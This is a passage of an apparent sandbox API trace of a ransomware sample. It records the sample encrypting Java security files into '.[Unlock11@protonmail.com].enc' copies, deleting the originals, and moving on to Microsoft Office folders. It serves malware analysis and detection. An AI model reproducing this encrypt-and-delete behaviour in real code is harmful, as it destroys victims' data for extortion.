Flags=0x8, Size=0x1c) returned 0x33eafa8 [0133.149] GetCurrentThreadId () returned 0x9b0 [0133.149] GetCurrentThreadId () returned 0x9b0 [0133.149] GetCurrentThreadId () returned 0x9b0 [0133.149] GetCurrentThreadId () returned 0x9b0 [0133.149] GetCurrentThreadId () returned 0x9b0 [0133.149] GetCurrentThreadId () returned 0x9b0 [0133.150] GetCurrentThreadId () returned 0x9b0 [0133.150] GetCurrentThreadId () returned 0x9b0 [0133.150] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7)) returned 1 [0133.150] GetCurrentThreadId () returned 0x9b0 [0133.150] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b91c | out: pbBuffer=0x366b91c) returned 1 [0133.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0133.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0133.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0133.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf58 [0133.151] GetCurrentThreadId () returned 0x9b0 [0133.151] GetCurrentThreadId () returned 0x9b0 [0133.151] GetCurrentThreadId () returned 0x9b0 [0133.151] GetCurrentThreadId () returned 0x9b0 [0133.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0133.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4f8 [0133.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0133.151] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.151] GetFileType (hFile=0x39c) returned 0x1 [0133.152] GetLastError () returned 0x0 [0133.152] GetCurrentThreadId () returned 0x9b0 [0133.152] GetLastError () returned 0x0 [0133.152] GetFileType (hFile=0x39c) returned 0x1 [0133.152] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.152] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.152] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.152] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.152] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.152] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.152] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.152] GetLastError () returned 0x0 [0133.153] GetCurrentThreadId () returned 0x9b0 [0133.153] GetLastError () returned 0x0 [0133.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0133.153] GetLastError () returned 0x0 [0133.153] GetLastError () returned 0x0 [0133.153] GetLastError () returned 0x0 [0133.153] GetLastError () returned 0x0 [0133.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0133.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de548 [0133.153] GetLastError () returned 0x0 [0133.154] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.154] GetFileType (hFile=0x3ac) returned 0x1 [0133.154] GetLastError () returned 0x0 [0133.154] GetCurrentThreadId () returned 0x9b0 [0133.154] GetLastError () returned 0x0 [0133.154] GetFileType (hFile=0x3ac) returned 0x1 [0133.154] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.154] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.154] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.155] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.155] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.155] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.155] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.155] GetLastError () returned 0x0 [0133.155] GetCurrentThreadId () returned 0x9b0 [0133.155] GetLastError () returned 0x0 [0133.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de548 | out: hHeap=0x2ad0000) returned 1 [0133.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0133.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0133.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.155] GetLastError () returned 0x0 [0133.156] GetLastError () returned 0x0 [0133.156] GetCurrentThreadId () returned 0x9b0 [0133.156] GetLastError () returned 0x0 [0133.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.156] GetLastError () returned 0x0 [0133.156] GetLastError () returned 0x0 [0133.156] GetCurrentThreadId () returned 0x9b0 [0133.156] GetLastError () returned 0x0 [0133.156] GetLastError () returned 0x0 [0133.158] GetLastError () returned 0x0 [0133.158] GetCurrentThreadId () returned 0x9b0 [0133.158] GetLastError () returned 0x0 [0133.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0133.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xde8) returned 0x31cf330 [0133.158] GetCurrentThreadId () returned 0x9b0 [0133.158] GetLastError () returned 0x0 [0133.158] GetLastError () returned 0x0 [0133.158] GetLastError () returned 0x0 [0133.159] GetLastError () returned 0x0 [0133.159] GetCurrentThreadId () returned 0x9b0 [0133.159] GetLastError () returned 0x0 [0133.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf330 | out: hHeap=0x2ad0000) returned 1 [0133.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0133.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.159] GetLastError () returned 0x0 [0133.159] GetLastError () returned 0x0 [0133.159] GetCurrentThreadId () returned 0x9b0 [0133.159] GetLastError () returned 0x0 [0133.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c1e48 | out: hHeap=0x2ad0000) returned 1 [0133.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9338 [0133.160] GetLastError () returned 0x0 [0133.160] GetLastError () returned 0x0 [0133.160] GetCurrentThreadId () returned 0x9b0 [0133.160] GetLastError () returned 0x0 [0133.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9338 | out: hHeap=0x2ad0000) returned 1 [0133.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.160] GetLastError () returned 0x0 [0133.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.161] CloseHandle (hObject=0x3ac) returned 1 [0133.162] GetLastError () returned 0x0 [0133.162] GetCurrentThreadId () returned 0x9b0 [0133.162] GetLastError () returned 0x0 [0133.162] GetLastError () returned 0x0 [0133.162] CloseHandle (hObject=0x39c) returned 1 [0133.162] GetLastError () returned 0x0 [0133.162] GetCurrentThreadId () returned 0x9b0 [0133.162] GetLastError () returned 0x0 [0133.162] GetLastError () returned 0x0 [0133.163] GetLastError () returned 0x0 [0133.163] GetLastError () returned 0x0 [0133.163] GetLastError () returned 0x0 [0133.163] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0133.164] GetLastError () returned 0x0 [0133.164] GetCurrentThreadId () returned 0x9b0 [0133.164] GetLastError () returned 0x0 [0133.164] GetCurrentThreadId () returned 0x9b0 [0133.164] GetLastError () returned 0x0 [0133.164] GetLastError () returned 0x0 [0133.164] GetLastError () returned 0x0 [0133.164] GetLastError () returned 0x0 [0133.165] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries", lpFilePart=0x9bada4*="trusted.libraries") returned 0x41 [0133.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0133.165] GetCurrentThreadId () returned 0x9b0 [0133.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0133.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0133.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0133.165] GetLastError () returned 0x0 [0133.165] GetLastError () returned 0x0 [0133.165] GetLastError () returned 0x0 [0133.165] GetLastError () returned 0x0 [0133.166] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", lpFilePart=0x9bada4*="US_export_policy.jar") returned 0x44 [0133.166] GetCurrentThreadId () returned 0x9b0 [0133.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0133.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0133.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0133.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0133.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eafa8 [0133.166] GetLastError () returned 0x0 [0133.166] GetLastError () returned 0x0 [0133.166] GetLastError () returned 0x0 [0133.166] GetLastError () returned 0x0 [0133.166] GetCurrentThreadId () returned 0x9b0 [0133.167] GetLastError () returned 0x0 [0133.167] GetCurrentThreadId () returned 0x9b0 [0133.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eafa8 | out: hHeap=0x2ad0000) returned 1 [0133.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eada0 [0133.167] GetLastError () returned 0x0 [0133.167] GetLastError () returned 0x0 [0133.167] GetLastError () returned 0x0 [0133.167] GetLastError () returned 0x0 [0133.167] GetCurrentThreadId () returned 0x9b0 [0133.167] GetLastError () returned 0x0 [0133.167] GetLastError () returned 0x0 [0133.168] GetLastError () returned 0x0 [0133.168] GetLastError () returned 0x0 [0133.168] GetLastError () returned 0x0 [0133.168] GetCurrentThreadId () returned 0x9b0 [0133.168] GetLastError () returned 0x0 [0133.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eada0 | out: hHeap=0x2ad0000) returned 1 [0133.168] GetCurrentThreadId () returned 0x9b0 [0133.168] GetLastError () returned 0x0 [0133.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0133.168] GetLastError () returned 0x0 [0133.168] GetLastError () returned 0x0 [0133.169] GetLastError () returned 0x0 [0133.169] GetCurrentThreadId () returned 0x9b0 [0133.169] GetLastError () returned 0x0 [0133.169] GetLastError () returned 0x0 [0133.169] GetLastError () returned 0x0 [0133.169] GetLastError () returned 0x0 [0133.169] GetLastError () returned 0x0 [0133.169] GetCurrentThreadId () returned 0x9b0 [0133.169] GetLastError () returned 0x0 [0133.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0133.170] GetLastError () returned 0x0 [0133.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0133.170] GetLastError () returned 0x0 [0133.170] GetLastError () returned 0x0 [0133.170] GetLastError () returned 0x0 [0133.170] GetCurrentThreadId () returned 0x9b0 [0133.170] GetLastError () returned 0x0 [0133.170] GetLastError () returned 0x0 [0133.170] GetLastError () returned 0x0 [0133.170] GetLastError () returned 0x0 [0133.170] GetLastError () returned 0x0 [0133.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.171] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2)) returned 1 [0133.171] GetLastError () returned 0x0 [0133.171] GetCurrentThreadId () returned 0x9b0 [0133.171] GetLastError () returned 0x0 [0133.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db800 | out: hHeap=0x2ad0000) returned 1 [0133.171] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bafc | out: pbBuffer=0x366bafc) returned 1 [0133.171] GetCurrentThreadId () returned 0x9b0 [0133.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0133.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0133.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0133.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0133.172] GetLastError () returned 0x0 [0133.172] GetLastError () returned 0x0 [0133.172] GetLastError () returned 0x0 [0133.172] GetLastError () returned 0x0 [0133.172] GetCurrentThreadId () returned 0x9b0 [0133.172] GetLastError () returned 0x0 [0133.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0133.172] GetCurrentThreadId () returned 0x9b0 [0133.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eafa8 [0133.173] GetLastError () returned 0x0 [0133.173] GetLastError () returned 0x0 [0133.173] GetLastError () returned 0x0 [0133.173] GetLastError () returned 0x0 [0133.173] GetCurrentThreadId () returned 0x9b0 [0133.173] GetLastError () returned 0x0 [0133.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eafa8 | out: hHeap=0x2ad0000) returned 1 [0133.173] GetCurrentThreadId () returned 0x9b0 [0133.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4f8 [0133.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0133.174] GetLastError () returned 0x0 [0133.174] GetLastError () returned 0x0 [0133.174] GetLastError () returned 0x0 [0133.174] GetLastError () returned 0x0 [0133.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de558 [0133.174] GetLastError () returned 0x0 [0133.174] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.175] GetFileType (hFile=0x39c) returned 0x1 [0133.175] GetLastError () returned 0x0 [0133.175] GetCurrentThreadId () returned 0x9b0 [0133.175] GetLastError () returned 0x0 [0133.175] GetFileType (hFile=0x39c) returned 0x1 [0133.175] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.175] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.175] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.175] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.175] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.175] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.175] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.176] GetLastError () returned 0x0 [0133.176] GetCurrentThreadId () returned 0x9b0 [0133.176] GetLastError () returned 0x0 [0133.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0133.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0133.176] GetLastError () returned 0x0 [0133.176] GetLastError () returned 0x0 [0133.176] GetLastError () returned 0x0 [0133.176] GetLastError () returned 0x0 [0133.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de558 [0133.177] GetLastError () returned 0x0 [0133.177] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.177] GetFileType (hFile=0x3ac) returned 0x1 [0133.178] GetLastError () returned 0x0 [0133.178] GetCurrentThreadId () returned 0x9b0 [0133.178] GetLastError () returned 0x0 [0133.178] GetFileType (hFile=0x3ac) returned 0x1 [0133.178] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.178] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.178] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.178] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.178] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.178] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.178] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.178] GetLastError () returned 0x0 [0133.178] GetCurrentThreadId () returned 0x9b0 [0133.179] GetLastError () returned 0x0 [0133.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0133.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0133.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0133.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.179] GetLastError () returned 0x0 [0133.179] GetLastError () returned 0x0 [0133.179] GetCurrentThreadId () returned 0x9b0 [0133.179] GetLastError () returned 0x0 [0133.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0133.179] GetLastError () returned 0x0 [0133.180] GetLastError () returned 0x0 [0133.180] GetCurrentThreadId () returned 0x9b0 [0133.180] GetLastError () returned 0x0 [0133.180] GetLastError () returned 0x0 [0133.181] GetLastError () returned 0x0 [0133.181] GetCurrentThreadId () returned 0x9b0 [0133.181] GetLastError () returned 0x0 [0133.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0133.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xbf8) returned 0x31cf330 [0133.182] GetCurrentThreadId () returned 0x9b0 [0133.182] GetLastError () returned 0x0 [0133.182] GetLastError () returned 0x0 [0133.182] GetLastError () returned 0x0 [0133.182] GetLastError () returned 0x0 [0133.182] GetCurrentThreadId () returned 0x9b0 [0133.182] GetLastError () returned 0x0 [0133.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf330 | out: hHeap=0x2ad0000) returned 1 [0133.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0133.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.183] GetLastError () returned 0x0 [0133.183] GetLastError () returned 0x0 [0133.183] GetCurrentThreadId () returned 0x9b0 [0133.183] GetLastError () returned 0x0 [0133.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cff30 | out: hHeap=0x2ad0000) returned 1 [0133.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9148 [0133.183] GetLastError () returned 0x0 [0133.183] GetLastError () returned 0x0 [0133.183] GetCurrentThreadId () returned 0x9b0 [0133.183] GetLastError () returned 0x0 [0133.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9148 | out: hHeap=0x2ad0000) returned 1 [0133.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.184] GetLastError () returned 0x0 [0133.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.185] CloseHandle (hObject=0x3ac) returned 1 [0133.185] GetLastError () returned 0x0 [0133.185] GetCurrentThreadId () returned 0x9b0 [0133.185] GetLastError () returned 0x0 [0133.185] GetLastError () returned 0x0 [0133.185] CloseHandle (hObject=0x39c) returned 1 [0133.185] GetLastError () returned 0x0 [0133.185] GetCurrentThreadId () returned 0x9b0 [0133.186] GetLastError () returned 0x0 [0133.186] GetLastError () returned 0x0 [0133.186] GetLastError () returned 0x0 [0133.186] GetLastError () returned 0x0 [0133.186] GetLastError () returned 0x0 [0133.186] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0133.187] GetLastError () returned 0x0 [0133.187] GetCurrentThreadId () returned 0x9b0 [0133.187] GetLastError () returned 0x0 [0133.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0133.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325f170 | out: hHeap=0x2ad0000) returned 1 [0133.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0133.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0320 | out: hHeap=0x2ad0000) returned 1 [0133.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0133.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0133.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0133.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0133.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0133.188] GetCurrentThreadId () returned 0x9b0 [0133.188] GetLastError () returned 0x0 [0133.188] GetLastError () returned 0x0 [0133.188] GetLastError () returned 0x0 [0133.188] GetLastError () returned 0x0 [0133.188] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, 